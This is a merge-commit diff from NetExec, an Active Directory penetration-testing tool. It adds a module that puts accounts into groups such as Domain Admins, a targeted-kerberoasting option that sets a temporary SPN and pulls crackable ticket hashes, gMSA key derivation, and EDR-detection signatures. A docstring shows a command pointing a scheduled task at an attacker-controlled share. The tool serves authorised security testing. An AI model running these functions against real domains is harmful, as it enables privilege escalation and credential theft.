Merge branch 'main' into feat/add-rpc-class

This commit is contained in:
Alex authored and GitHub committed 2026-05-25 11:15:19 +02:00
commit 87f2f10a0f
26 files changed
+652 -244

No files matched your search

+1 -1
View File
@@ -1,7 +1,7 @@
name: PR Template Check
on:
pull_request:
pull_request_target:
types: [opened, edited]
permissions:
+7 -6
View File
@@ -21,12 +21,13 @@ The NetExec project has strict rules for AI usage:
code for platforms or environments you don't have access to manually
test on.
- **Issues and discussions can use AI assistance but must have a full
human-in-the-loop.** This means that any content generated with AI
must have been reviewed _and edited_ by a human before submission.
AI is very good at being overly verbose and including noise that
distracts from the main point. Humans must do their research and
trim this down.
- **Issues and pull requests should be written by humans.**
Communication should remain human, not AI, and should be clear and concise.
AI is very good at being overly verbose and including noise that distracts
from the main point. While it is fine to cite AI or include AI-generated
content, the main content of your issue or pull request should be written
by a human. Issues or pull requests that look like they are just the
result of an AI prompt will likely be rejected and closed.
- **No AI-generated media is allowed (art, images, videos, audio, etc.).**
Text and code are the only acceptable AI-generated content, per the
+1
View File
@@ -19,6 +19,7 @@ a = Analysis(
'aardwolf.commons.iosettings',
'aardwolf.commons.target',
'aardwolf.protocol.x224.constants',
'certihound',
'certipy.commands.find',
'certipy.lib.formatting',
'certipy.lib.target',
+4 -4
View File
@@ -139,6 +139,7 @@ class connection:
self.conn = None
self.output_file_template = None
self.output_filename = None
self.protocol = args.protocol
# Authentication info
self.password = ""
@@ -254,13 +255,12 @@ class connection:
self.print_host_info()
if self.login() or (self.username == "" and self.password == ""):
if hasattr(self.args, "module") and self.args.module:
self.logger.debug("Calling command arguments")
self.call_cmd_args()
if self.args.module:
self.load_modules()
self.logger.debug("Calling modules")
self.call_modules()
else:
self.logger.debug("Calling command arguments")
self.call_cmd_args()
self.disconnect()
def call_cmd_args(self):
+12
View File
@@ -226,6 +226,18 @@ def convert(low, high, lockout=False):
return time
def parse_argument(argument: list) -> list:
"""Parse input from an argparse argument, which can be either a value or a file containing values."""
parsed_items = []
for item in argument:
if os.path.isfile(item):
with open(item) as f:
parsed_items.extend(line.strip() for line in f if line.strip())
else:
parsed_items.append(item.strip())
return parsed_items
def display_modules(args, modules):
for category, color in {CATEGORY.ENUMERATION: "green", CATEGORY.CREDENTIAL_DUMPING: "cyan", CATEGORY.PRIVILEGE_ESCALATION: "magenta"}.items():
# Add category filter for module listing
+3 -3
View File
@@ -17,14 +17,14 @@ class NXCModule:
"""
name = "add-computer"
description = "Adds or deletes a domain computer via SAMR (SMB) or LDAPS"
description = "Adds or deletes a domain computer via SAMR (SMB) or LDAP"
supported_protocols = ["smb", "ldap"]
category = CATEGORY.PRIVILEGE_ESCALATION
def options(self, context, module_options):
"""
add-computer: Adds, deletes, or changes the password of a domain computer account.
Uses SAMR when invoked with nxc smb, LDAPS when invoked with nxc ldap.
Uses SAMR when invoked with nxc smb.
NAME Computer name (required). Trailing '$' is added automatically.
PASSWORD Computer password (required for add/changepw).
@@ -189,7 +189,7 @@ class NXCModule:
request["Name"] = self.computer_name
request["AccountType"] = samr.USER_WORKSTATION_TRUST_ACCOUNT
request["DesiredAccess"] = samr.USER_FORCE_PASSWORD_CHANGE
return dce.request(request)
return dce.request(request)["UserHandle"]
except samr.DCERPCSessionError as e:
if "STATUS_USER_EXISTS" in str(e):
self.context.log.fail(f"Computer '{self.computer_name}' already exists")
+14
View File
@@ -205,6 +205,13 @@ conf = {
{"name": "CybereasonAPServerProxyIpc_*", "processes": ["minionhost.exe"]}
]
},
{
"name": "Cynet",
"services": [
{"name": "CynetLauncher", "description": "CynetLauncher"}
],
"pipes": []
},
{
"name": "Elastic EDR",
"services": [
@@ -418,6 +425,13 @@ conf = {
{"name": "OIPC_NTRTSCAN_PIPE_*", "processes": ["Ntrtscan.exe"]}
]
},
{
"name": "Wazuh",
"services": [
{"name": "WazuhSvc", "description": "Wazuh Windows Agent"}
],
"pipes": []
},
{
"name": "Windows Defender",
"services": [
+19 -5
View File
@@ -33,6 +33,7 @@ class NXCModule:
- CVE-2025-58726 (Ghost SPN)
- CVE-2025-54918 (NTLM MIC Bypass)
- CVE-2025-53779 (BadSuccessor)
- CVE-2024-49019 (EKUwu / ESC15)
CVE Filter for specific CVE number (default: All)
EXPLOITATION Also provide sources for exploitation details (default: False)
@@ -103,10 +104,6 @@ class NXCModule:
"CVE-2025-33073": {
"alias": "NTLM reflection",
"patches": {
(6, 0, 6003): 23351, # Windows Server 2008 SP2
(6, 1, 7601): 27769, # Windows Server 2008 R2 SP1
(6, 2, 9200): 25522, # Windows Server 2012
(6, 3, 9600): 22620, # Windows Server 2012 R2
(10, 0, 10240): 21034, # Windows 10 1507
(10, 0, 14393): 8148, # Windows Server 2016 / Win10 1607
(10, 0, 17763): 7434, # Windows Server 2019 / Win10 1809
@@ -174,5 +171,22 @@ class NXCModule:
},
"message": "Escalation to Domain Admin possible via dMSA Kerberos abuse",
"exploitation": "https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory",
}
},
# https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49019
"CVE-2024-49019": {
"alias": "ESC15 / EKUwu",
"patches": {
(6, 0, 6003): 22966, # Windows Server 2008 SP2
(6, 1, 7601): 27415, # Windows Server 2008 R2 SP1
(6, 2, 9200): 25165, # Windows Server 2012
(6, 3, 9600): 22267, # Windows Server 2012 R2
(10, 0, 14393): 7515, # Windows Server 2016
(10, 0, 17763): 6532, # Windows Server 2019 / Win10 1809
(10, 0, 20348): 2849, # Windows Server 2022
(10, 0, 25398): 1251, # Windows Server 2022 23H2
(10, 0, 26100): 2314, # Windows Server 2025 / Win11 24H2
},
"message": "If host is an AD CS / CA server, it may be vulnerable to ESC15",
"exploitation": "https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc",
},
}
+195
View File
@@ -0,0 +1,195 @@
import contextlib
import sys
from impacket.ldap.ldap import MODIFY_ADD, MODIFY_DELETE
from impacket.dcerpc.v5 import samr, epm, transport
from impacket.dcerpc.v5.rpcrt import DCERPCException
from nxc.parsers.ldap_results import parse_result_attributes
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
Module for adding/removing users to/from groups
Module by @termanix
"""
name = "modify-group"
description = "Modify the group membership of users and computers"
supported_protocols = ["smb", "ldap"]
category = CATEGORY.PRIVILEGE_ESCALATION
def options(self, context, module_options):
"""
Required (at least one of):
GROUP Name of the group to add/remove the user to/from
USER Username of the account to modify
Optional:
REMOVE Set to 'True' to remove the user from the specified group instead of adding (default: False)
Examples
--------
Adding a user to a group:
netexec smb <DC_IP> -u adminuser -p password -M modify-group -o USER='targetuser' GROUP='Domain Admins'
netexec ldap <DC_IP> -u adminuser -p password -M modify-group -o USER='targetuser' GROUP='Enterprise Admins'
Removing a user from a group:
netexec smb <DC_IP> -u adminuser -p password -M modify-group -o USER='targetuser' GROUP='Domain Admins' REMOVE=True
netexec ldap <DC_IP> -u adminuser -p password -M modify-group -o USER='targetuser' GROUP='Enterprise Admins' REMOVE=True
SMB/SAMR KNOWN LIMITATIONS:
- SAMR only supports modification of Global security groups.
Domain Local and Universal groups require the LDAP protocol.
- Cross-domain groups (e.g. Enterprise Admins) cannot be modified via SAMR.
Use LDAP instead.
"""
self.group = module_options.get("GROUP")
self.target_user = module_options.get("USER")
self.remove = module_options.get("REMOVE", "False").lower() == "true"
if not (self.target_user and self.group):
context.log.fail("USER and GROUP parameters are required!")
sys.exit(1)
def on_login(self, context, connection):
self.context = context
self.connection = connection
if context.protocol == "smb":
self._modify_group_smb()
elif context.protocol == "ldap" and self.group:
self._modify_group_ldap()
def _authenticate_dce(self, protocol="ncacn_np", interface=samr.MSRPC_UUID_SAMR):
"""Authenticate to the target using DCE/RPC"""
try:
# Map to the endpoint on the target
string_binding = epm.hept_map(self.connection.host, interface, protocol=protocol)
rpctransport = transport.DCERPCTransportFactory(string_binding)
rpctransport.setRemoteHost(self.connection.host)
rpctransport.set_credentials(
self.connection.username,
self.connection.password,
self.connection.domain,
self.connection.lmhash,
self.connection.nthash,
aesKey=self.connection.aesKey,
)
self.context.log.info(f"Connecting as {self.connection.domain}\\{self.connection.username}")
# Connect to the DCE/RPC endpoint and bind to the service
dce = rpctransport.get_dce_rpc()
dce.connect()
self.context.log.info("Successfully connected to DCE/RPC")
dce.bind(interface)
self.context.log.info(f"Successfully bound to {interface}")
return dce
except DCERPCException as e:
self.context.log.fail(f"DCE/RPC Exception: {e!s}")
def _modify_group_smb(self):
"""Modify group membership using SMB/SAMR protocol"""
dce = self._authenticate_dce()
if not dce:
return
# Get domain handle
try:
server_handle = samr.hSamrConnect(dce, self.connection.host + "\x00")["ServerHandle"]
domain_sid = samr.hSamrLookupDomainInSamServer(dce, server_handle, self.connection.domain)["DomainId"]
domain_handle = samr.hSamrOpenDomain(dce, server_handle, domainId=domain_sid)["DomainHandle"]
except Exception as e:
self.context.log.fail(f"Failed to connect to SAMR service: {e}")
return
# Find the user RID
try:
user_rid = samr.hSamrLookupNamesInDomain(dce, domain_handle, (self.target_user,))["RelativeIds"]["Element"][0]
except Exception as e:
if "STATUS_NONE_MAPPED" in str(e):
self.context.log.fail(f"Target user not found: {self.target_user}")
else:
self.context.log.fail(f"Failed to find user RID: {e}")
return
# Find the group RID and open the group
try:
group_rid = samr.hSamrLookupNamesInDomain(dce, domain_handle, (self.group,))["RelativeIds"]["Element"][0]
group_handle = samr.hSamrOpenGroup(dce, domain_handle, groupId=group_rid)["GroupHandle"]
except Exception as e:
if "STATUS_NONE_MAPPED" in str(e):
self.context.log.fail(f"Target group not found: {self.group}")
else:
self.context.log.fail(f"Failed to find group: {e}")
return
# Modify group membership
if self.remove:
try:
samr.hSamrRemoveMemberFromGroup(dce, group_handle, user_rid)
self.context.log.success(f"Successfully removed {self.target_user} from group {self.group}")
except Exception as e:
if "STATUS_MEMBER_NOT_IN_GROUP" in str(e):
self.context.log.fail(f"User {self.target_user} is not a member of group {self.group}")
else:
self.context.log.fail(f"Failed to remove user from group via SMB: {e}")
else:
try:
samr.hSamrAddMemberToGroup(dce, group_handle, user_rid, 0x7)
self.context.log.success(f"Successfully added {self.target_user} to group {self.group}")
except Exception as e:
if "STATUS_MEMBER_IN_GROUP" in str(e):
self.context.log.fail(f"User {self.target_user} is already a member of group {self.group}")
else:
self.context.log.fail(f"Failed to add user to group via SMB: {e}")
# Disconnect from DCE/RPC
with contextlib.suppress(Exception):
dce.disconnect()
def _modify_group_ldap(self):
"""Modify group membership using LDAP protocol"""
# Get the DN of the target user
resp = self._find_object_dn(self.target_user)
if not resp:
self.context.log.fail(f"Target user not found: {self.target_user}")
return
else:
target_user_dn = resp[0]["distinguishedName"]
# Get the DN of the target group
resp = self._find_object_dn(self.group)
if not resp:
self.context.log.fail(f"Target group not found: {self.group}")
return
else:
group_dn = resp[0]["distinguishedName"]
# Modify group membership
if self.remove:
try:
self.connection.ldap_connection.modify(group_dn, {"member": [(MODIFY_DELETE, [target_user_dn])]})
self.context.log.success(f"Successfully removed {self.target_user} from group {self.group}")
except Exception as e:
if "unwillingToPerform" in str(e):
self.context.log.fail(f"User {self.target_user} is not a member of group {self.group}")
else:
self.context.log.fail(f"Failed to remove user from group via LDAP: {e}")
else:
try:
self.connection.ldap_connection.modify(group_dn, {"member": [(MODIFY_ADD, [target_user_dn])]})
self.context.log.success(f"Successfully added {self.target_user} to group {self.group}")
except Exception as e:
if "entryAlreadyExists" in str(e):
self.context.log.fail(f"User {self.target_user} is already a member of group {self.group}")
else:
self.context.log.fail(f"Failed to add user to group via LDAP: {e}")
def _find_object_dn(self, value):
"""Find the distinguished name (DN) of an object by sAMAccountName"""
resp = self.connection.ldap_connection.search(
searchFilter=f"(sAMAccountName={value})",
attributes=["distinguishedName"]
)
return parse_result_attributes(resp)
+1 -1
View File
@@ -10,7 +10,7 @@ class NXCModule:
# Modified by azoxlpf to handle BrokenPipe/transport errors gracefully
# Modified by Defte following the discovery of ctjf (https://github.com/Pennyw0rth/NetExec/issues/928) and the research done along side with @NeffIsBack and I
name = "ntlm_reflection"
description = "Attempt to check if the OS is vulnerable to CVE-2025-33073 (NTLM Reflection attack)"
description = "[REMOVED] This module has been integrated into the enum_cve module."
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
+1 -1
View File
@@ -8,7 +8,7 @@ class NXCModule:
Module by @_sandw1ch
"""
name = "pso"
description = "Module to get the Fine Grained Password Policy/PSOs"
description = "[REMOVED] This module moved to the core option --pso"
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
+1 -1
View File
@@ -44,7 +44,6 @@ class NXCModule:
nxc smb <ip> -u <user> -p <password> -M schtask_as -o USER=Administrator CMD='dir \\<attacker-ip>\pwn' TASK='Legit Task' SILENTCOMMAND='True'
nxc smb <ip> -u <user> -p <password> -M schtask_as -o USER=Administrator CMD=certreq CA='ADCS\whiteflag-ADCS-CA' TEMPLATE=User
"""
self.logger = context.log
self.command_to_run = self.binary_to_upload = self.run_task_as = self.task_name = self.output_filename = self.output_file_location = self.time = self.ca_name = self.template_name = None
self.share = "C$"
self.output_file_location = "\\Windows\\Temp"
@@ -71,6 +70,7 @@ class NXCModule:
self.template_name = module_options.get("TEMPLATE")
def on_admin_login(self, context, connection):
self.logger = context.log
if self.command_to_run is None:
self.logger.fail("You need to specify a CMD to run")
+1 -12
View File
@@ -23,17 +23,6 @@ class ftp(connection):
}
)
def proto_flow(self):
self.proto_logger()
if self.create_conn_obj() and self.login():
if hasattr(self.args, "module") and self.args.module:
self.load_modules()
self.logger.debug("Calling modules")
self.call_modules()
else:
self.logger.debug("Calling command arguments")
self.call_cmd_args()
def enum_host_info(self):
welcome = self.conn.getwelcome()
self.logger.debug(f"Welcome result: {welcome}")
@@ -165,7 +154,7 @@ class ftp(connection):
self.logger.fail(f"Failed to upload file. {local_file} does not exist locally.")
return False
# Check if the file was uploaded
if self.conn.size(remote_file) > 0:
if self.conn.size(remote_file) is not None:
self.logger.success(f"Uploaded: {local_file} to {remote_file}")
else:
self.logger.fail(f"Failed to upload: {local_file} to {remote_file}")
+148 -127
View File
@@ -14,7 +14,6 @@ from termcolor import colored
from dns import resolver
from dateutil.relativedelta import relativedelta as rd
from Cryptodome.Hash import MD4
from OpenSSL.SSL import SysCallError
from bloodhound.ad.authentication import ADAuthentication
from bloodhound.ad.domain import AD
@@ -28,20 +27,21 @@ from impacket.dcerpc.v5.samr import (
SAM_MACHINE_ACCOUNT,
)
from impacket.krb5 import constants
from impacket.krb5.crypto import generate_kerberos_keys
from impacket.krb5.kerberosv5 import getKerberosTGS, SessionKeyDecryptionError
from impacket.krb5.ccache import CCache
from impacket.krb5.types import Principal, KerberosException
from impacket.ldap import ldap as ldap_impacket
from impacket.ldap import ldaptypes
from impacket.ldap import ldapasn1 as ldapasn1_impacket
from impacket.ldap.ldap import LDAPFilterSyntaxError
from impacket.ldap.ldap import LDAPFilterSyntaxError, MODIFY_REPLACE
from impacket.smbconnection import SessionError
from impacket.ntlm import getNTLMSSPType1
from nxc.config import process_secret, host_info_colors
from nxc.connection import connection
from nxc.helpers.bloodhound import add_user_bh
from nxc.helpers.misc import get_bloodhound_info, convert, d2b
from nxc.helpers.misc import get_bloodhound_info, convert, d2b, parse_argument
from nxc.logger import NXCAdapter
from nxc.protocols.ldap.bloodhound import BloodHound, resolve_collection_methods
from nxc.protocols.ldap.gmsa import MSDS_MANAGEDPASSWORD_BLOB
@@ -648,6 +648,10 @@ class ldap(connection):
for item in resp_parsed:
if item:
self.admin_privs = True
return
# If nothing matched we are not admin
self.admin_privs = False
def getUnixTime(self, t):
t -= 116444736000000000
@@ -740,7 +744,7 @@ class ldap(connection):
self.logger.debug(f"Dumping group: {self.args.groups}")
# Resolve group DN and primaryGroupID (objectSid)
group_resp = self.search(f"(cn={self.args.groups})", ["distinguishedName", "objectSid"])
group_resp = self.search(f"(&(cn={self.args.groups})(objectClass=group))", ["distinguishedName", "objectSid"])
group_parsed = parse_result_attributes(group_resp)
if not group_parsed:
@@ -768,7 +772,8 @@ class ldap(connection):
else:
for item in resp_parsed:
# Display sAMAccountName or CN if sAMAccountName not present (could be a group)
self.logger.highlight(item["sAMAccountName"] if "group" not in item["objectClass"] else item["cn"])
# Fallback to cn should sAMAccountName not be present (e.g. Service Principal Names)
self.logger.highlight(item.get("sAMAccountName", item["cn"]) if "group" not in item["objectClass"] else item["cn"])
else:
# Display all groups
self.logger.highlight(f"{'-Group-':<40} {'-Members-':<9} {'-Description-':<60}")
@@ -965,57 +970,15 @@ class ldap(connection):
def kerberoasting(self):
if self.args.no_preauth_targets:
usernames = []
for item in self.args.no_preauth_targets:
if os.path.isfile(item):
with open(item, encoding="utf-8") as f:
usernames.extend(line.strip() for line in f if line.strip())
else:
usernames.append(item.strip())
skipped = []
hashes = []
for spn in usernames:
base_name = spn.split("/", 1)[0].split("@", 1)[0].rstrip()
if base_name.lower() == "krbtgt" or base_name.endswith("$"):
skipped.append(base_name)
continue
if not self.username:
self.logger.fail("Likely executed without password flag. Please run the command with -p ''")
return
hashline = KerberosAttacks(self).get_tgs_no_preauth(self.username, spn)
if hashline:
hashes.append(hashline)
if skipped:
self.logger.display(f"Skipping account: {', '.join(skipped)}")
if hashes:
self.logger.display(f"Total of records returned {len(hashes)}")
else:
self.logger.highlight("No entries found!")
for line in hashes:
self.logger.highlight(line)
if self.args.kerberoasting:
with open(self.args.kerberoasting, "a+", encoding="utf-8") as f:
f.write(line + "\n")
self.roast_no_preauth()
return
if self.args.kerberoast_account:
target_accounts = []
for item in self.args.kerberoast_account:
if os.path.isfile(item):
try:
with open(item, encoding="utf-8") as f:
target_accounts.extend(line.strip() for line in f if line.strip())
except Exception as e:
self.logger.fail(f"Failed to read file '{item}': {e}")
else:
target_accounts.append(item.strip())
if self.args.targeted_kerberoast:
target_users = parse_argument(self.args.targeted_kerberoast)
user_filter = "".join(f"(sAMAccountName={user})" for user in target_users)
searchFilter = f"(&(objectCategory=person)(!(servicePrincipalName=*))(|{user_filter}))"
elif self.args.kerberoast_account:
target_accounts = parse_argument(self.args.kerberoast_account)
self.logger.info(f"Targeting specific accounts for kerberoasting: {', '.join(target_accounts)}")
# build search filter for specific users
@@ -1033,8 +996,10 @@ class ldap(connection):
"pwdLastSet",
"lastLogon",
"objectClass",
"distinguishedName",
]
resp = self.search(searchFilter, attributes, 0)
resp = self.search(searchFilter, attributes)
resp_parsed = parse_result_attributes(resp)
self.logger.debug(f"Search Filter: {searchFilter}")
self.logger.debug(f"Attributes: {attributes}")
@@ -1042,26 +1007,43 @@ class ldap(connection):
if not resp_parsed:
self.logger.highlight("No entries found!")
else:
# Filter disabled accounts
disabled_accounts = [x for x in resp_parsed if int(x["userAccountControl"]) & UF_ACCOUNTDISABLE]
for account in disabled_accounts:
self.logger.display(f"Skipping disabled account: {account['sAMAccountName']}")
return
# Get all enabled accounts
enabled = [x for x in resp_parsed if not int(x["userAccountControl"]) & UF_ACCOUNTDISABLE]
disabled_accounts = [x for x in resp_parsed if int(x["userAccountControl"]) & UF_ACCOUNTDISABLE]
for account in disabled_accounts:
self.logger.display(f"Skipping disabled account: {account['sAMAccountName']}")
enabled = [x for x in resp_parsed if not int(x["userAccountControl"]) & UF_ACCOUNTDISABLE]
if self.args.targeted_kerberoast:
self.logger.success(f"Found {len(enabled)} enabled users without SPN.")
else:
self.logger.display(f"Total of records returned {len(enabled):d}")
for user in enabled:
# Perform Kerberos Attack
for user in enabled:
spn_added = False
if self.args.targeted_kerberoast:
try:
self.ldap_connection.modify(user["distinguishedName"], {"servicePrincipalName": [(MODIFY_REPLACE, [f"cifs/{user['sAMAccountName']}"])]})
self.logger.debug(f"SPN 'cifs/{user['sAMAccountName']}' added for {user['sAMAccountName']}")
spn_added = True
except ldap_impacket.LDAPSessionError as e:
if "insufficientAccessRights" in str(e) or "INSUFF_ACCESS_RIGHTS" in str(e):
self.logger.fail(f"No write access to {user['sAMAccountName']}'s SPN attribute")
else:
self.logger.fail(f"LDAP error for {user['sAMAccountName']}: {e}")
self.logger.debug("Traceback", exc_info=True)
continue
try:
TGT = KerberosAttacks(self).get_tgt_kerberoasting(self.use_kcache)
self.logger.debug(f"TGT: {TGT}")
if TGT:
downLevelLogonName = f"{self.targetDomain}\\{user['sAMAccountName']}"
try:
principalName = Principal()
principalName.type = constants.PrincipalNameType.NT_MS_PRINCIPAL.value
principalName.components = [downLevelLogonName]
principalName.components = [f"{self.targetDomain}\\{user['sAMAccountName']}"]
tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(
principalName,
@@ -1076,22 +1058,61 @@ class ldap(connection):
oldSessionKey,
sessionKey,
user["sAMAccountName"],
downLevelLogonName,
f"{self.targetDomain}\\{user['sAMAccountName']}",
is_computer="computer" in user.get("objectClass", [])
)
pwdLastSet = "<never>" if str(user.get("pwdLastSet", 0)) == "0" else str(datetime.fromtimestamp(self.getUnixTime(int(user["pwdLastSet"]))))
lastLogon = "<never>" if str(user.get("lastLogon", 0)) == "0" else str(datetime.fromtimestamp(self.getUnixTime(int(user["lastLogon"]))))
self.logger.display(f"sAMAccountName: {user['sAMAccountName']}, memberOf: {user.get('memberOf', [])}, pwdLastSet: {pwdLastSet}, lastLogon: {lastLogon}")
self.logger.highlight(f"{out}")
self.logger.highlight(out)
if self.args.kerberoasting:
with open(self.args.kerberoasting, "a+") as hash_kerberoasting:
hash_kerberoasting.write(out + "\n")
except Exception as e:
self.logger.debug(f"Exception: {e}", exc_info=True)
self.logger.fail(f"Principal: {downLevelLogonName} - {e}")
self.logger.fail(f"Principal: {self.targetDomain}\\{user['sAMAccountName']} - {e}")
else:
self.logger.fail(f"Error retrieving TGT for {self.domain}\\{self.username} from {self.kdcHost}")
finally:
if spn_added:
try:
self.ldap_connection.modify(user["distinguishedName"], {"servicePrincipalName": [(MODIFY_REPLACE, [])]})
self.logger.debug(f"SPN removed for {user['sAMAccountName']}")
except Exception as cleanup_error:
self.logger.fail(f"Failed to remove SPN for {user['sAMAccountName']}: {cleanup_error}")
def roast_no_preauth(self):
usernames = parse_argument(self.args.no_preauth_targets)
skipped = []
hashes = []
for spn in usernames:
base_name = spn.split("/", 1)[0].split("@", 1)[0].rstrip()
if base_name.lower() == "krbtgt" or base_name.endswith("$"):
skipped.append(base_name)
continue
if not self.username:
self.logger.fail("Likely executed without password flag. Please run the command with -p ''")
return
hashline = KerberosAttacks(self).get_tgs_no_preauth(self.username, spn)
if hashline:
hashes.append(hashline)
if skipped:
self.logger.display(f"Skipping account: {', '.join(skipped)}")
if hashes:
self.logger.display(f"Total of records returned {len(hashes)}")
else:
self.logger.highlight("No entries found!")
for line in hashes:
self.logger.highlight(line)
with open(self.args.kerberoasting, "a+") as f:
f.write(line + "\n")
def query(self):
"""
@@ -1308,16 +1329,26 @@ class ldap(connection):
principal_with_read = resp_parsed[0]["sAMAccountName"]
# Get the password
passwd = "<no read permissions>"
rc4 = "<no read permissions>"
aes128 = aes256 = ""
if "msDS-ManagedPassword" in acc:
blob = MSDS_MANAGEDPASSWORD_BLOB()
blob.fromString(acc["msDS-ManagedPassword"])
currentPassword = blob["CurrentPassword"][:-2]
ntlm_hash = MD4.new()
ntlm_hash.update(currentPassword)
passwd = hexlify(ntlm_hash.digest()).decode("utf-8")
self.logger.highlight(f"Account: {acc['sAMAccountName']:<20} NTLM: {passwd:<36} PrincipalsAllowedToReadPassword: {principal_with_read}")
return True
rc4, aes128, aes256 = self.gmsa_compute_secrets(acc["msDS-ManagedPassword"], acc["sAMAccountName"])
self.logger.highlight(f"Account: {acc['sAMAccountName']:<20} NTLM: {rc4:<36} PrincipalsAllowedToReadPassword: {principal_with_read}")
if aes128 and aes256:
self.logger.highlight(f"Account: {acc['sAMAccountName']:<20} aes128-cts-hmac-sha1-96: {aes128}")
self.logger.highlight(f"Account: {acc['sAMAccountName']:<20} aes256-cts-hmac-sha1-96: {aes256}")
def gmsa_compute_secrets(self, password_data: bytes, sAMAccountName: str):
"""Generate RC4, AES128, and AES256 keys for a GMSA account based on the provided password data and username."""
blob = MSDS_MANAGEDPASSWORD_BLOB()
blob.fromString(password_data)
current_password = hexlify(blob["CurrentPassword"].rstrip(b"\x00")).decode()
keys = generate_kerberos_keys(hex_pass=current_password, user=sAMAccountName, domain=self.targetDomain)
rc4 = hexlify(keys[constants.EncryptionTypes.rc4_hmac.value].contents).decode()
aes128 = hexlify(keys[constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value].contents).decode()
aes256 = hexlify(keys[constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value].contents).decode()
return rc4, aes128, aes256
def decipher_gmsa_name(self, domain_name=None, account_name=None):
# https://aadinternals.com/post/gmsa/
@@ -1334,60 +1365,50 @@ class ldap(connection):
return str_hash
def gmsa_convert_id(self):
if self.args.gmsa_convert_id:
if len(self.args.gmsa_convert_id) != 64:
self.logger.fail("Length of the gmsa id not correct :'(")
else:
# getting the gmsa account
search_filter = "(objectClass=msDS-GroupManagedServiceAccount)"
gmsa_accounts = self.ldap_connection.search(
searchBase=self.baseDN,
searchFilter=search_filter,
attributes=["sAMAccountName"],
sizeLimit=0,
)
gmsa_accounts_parsed = parse_result_attributes(gmsa_accounts)
if gmsa_accounts_parsed:
self.logger.debug(f"Total of records returned {len(gmsa_accounts_parsed):d}")
for acc in gmsa_accounts_parsed:
if self.decipher_gmsa_name(self.domain.split(".")[0], acc["sAMAccountName"][:-1]) == self.args.gmsa_convert_id:
self.logger.highlight(f"Account: {acc['sAMAccountName']:<20} ID: {self.args.gmsa_convert_id}")
break
if len(self.args.gmsa_convert_id) != 64:
self.logger.fail("Length of the gmsa id not correct :'(")
else:
self.logger.fail("No string provided :'(")
# getting the gmsa account
gmsa_accounts = self.search(
searchFilter="(objectClass=msDS-GroupManagedServiceAccount)",
attributes=["sAMAccountName"],
)
gmsa_accounts_parsed = parse_result_attributes(gmsa_accounts)
self.logger.debug(f"Total of records returned {len(gmsa_accounts_parsed):d}")
for acc in gmsa_accounts_parsed:
if self.decipher_gmsa_name(self.domain.split(".")[0], acc["sAMAccountName"].rstrip("$")) == self.args.gmsa_convert_id:
self.logger.highlight(f"Account: {acc['sAMAccountName']:<20} ID: {self.args.gmsa_convert_id}")
break
def gmsa_decrypt_lsa(self):
if self.args.gmsa_decrypt_lsa:
if "_SC_GMSA_{84A78B8C" in self.args.gmsa_decrypt_lsa:
gmsa_id, gmsa_pass = self.args.gmsa_decrypt_lsa.split("_")[4].split(":")
# getting the gmsa account
search_filter = "(objectClass=msDS-GroupManagedServiceAccount)"
gmsa_accounts = self.ldap_connection.search(
searchBase=self.baseDN,
searchFilter=search_filter,
attributes=["sAMAccountName"],
sizeLimit=0,
)
gmsa_accounts_parsed = parse_result_attributes(gmsa_accounts)
if gmsa_accounts_parsed:
self.logger.debug(f"Total of records returned {len(gmsa_accounts):d}")
if "_SC_GMSA_{84A78B8C" in self.args.gmsa_decrypt_lsa:
gmsa_id, gmsa_pass = self.args.gmsa_decrypt_lsa.split("_")[4].split(":")
# getting the gmsa account
gmsa_accounts = self.search(
searchFilter="(objectClass=msDS-GroupManagedServiceAccount)",
attributes=["sAMAccountName"],
)
gmsa_accounts_parsed = parse_result_attributes(gmsa_accounts)
sAMAccountName = ""
if gmsa_accounts_parsed:
self.logger.debug(f"Total of records returned {len(gmsa_accounts):d}")
for acc in gmsa_accounts_parsed:
if self.decipher_gmsa_name(self.domain.split(".")[0], acc["sAMAccountName"][:-1]) == gmsa_id:
gmsa_id = acc["sAMAccountName"]
break
# convert to ntlm
data = bytes.fromhex(gmsa_pass)
blob = MSDS_MANAGEDPASSWORD_BLOB()
blob.fromString(data)
currentPassword = blob["CurrentPassword"][:-2]
ntlm_hash = MD4.new()
ntlm_hash.update(currentPassword)
passwd = hexlify(ntlm_hash.digest()).decode("utf-8")
self.logger.highlight(f"Account: {gmsa_id:<20} NTLM: {passwd}")
for acc in gmsa_accounts_parsed:
if self.decipher_gmsa_name(self.domain.split(".")[0], acc["sAMAccountName"].rstrip("$")) == gmsa_id:
sAMAccountName = acc["sAMAccountName"]
break
# Compute the password and keys
data = bytes.fromhex(gmsa_pass)
rc4, aes128, aes256 = self.gmsa_compute_secrets(data, sAMAccountName)
self.logger.highlight(f"Account: {sAMAccountName:<20} NTLM: {rc4}")
if not sAMAccountName:
self.logger.fail("Could not find the GMSA account associated with the provided ID.")
else:
self.logger.highlight(f"Account: {sAMAccountName:<20} aes128-cts-hmac-sha1-96: {aes128}")
self.logger.highlight(f"Account: {sAMAccountName:<20} aes256-cts-hmac-sha1-96: {aes256}")
else:
self.logger.fail("No string provided :'(")
self.logger.fail("The provided string does not appear to be a valid GMSA LSA secret.")
def pso(self):
"""
+4 -2
View File
@@ -14,10 +14,12 @@ def proto_args(parser, parents):
egroup.add_argument("--asreproast", help="Output AS_REP response to crack with hashcat to file")
kerberoasting_arg = egroup.add_argument("--kerberoasting", "--kerberoast", help="Output TGS ticket to crack with hashcat to file")
kerberoast_users_arg = egroup.add_argument("--kerberoast-account", nargs="+", dest="kerberoast_account", action=get_conditional_action(_StoreAction), make_required=[], help="Target specific accounts for kerberoasting (sAMAccountNames or file containing sAMAccountNames)")
egroup.add_argument("--no-preauth-targets", nargs=1, dest="no_preauth_targets", help="Targeted kerberoastable users")
targeted_kerberoast_arg = egroup.add_argument("--targeted-kerberoast", nargs="+", dest="targeted_kerberoast", action=get_conditional_action(_StoreAction), make_required=[], help="Adds temporary SPN to specified users, requests ST, then remove added SPN. Specify sAMAccountNames or file containing sAMAccountNames")
egroup.add_argument("--no-preauth-targets", nargs=1, dest="no_preauth_targets", help="Specify accounts that should be kerberoasted using an account without pre-authentication requirement.")
# Make kerberoast-users require kerberoasting
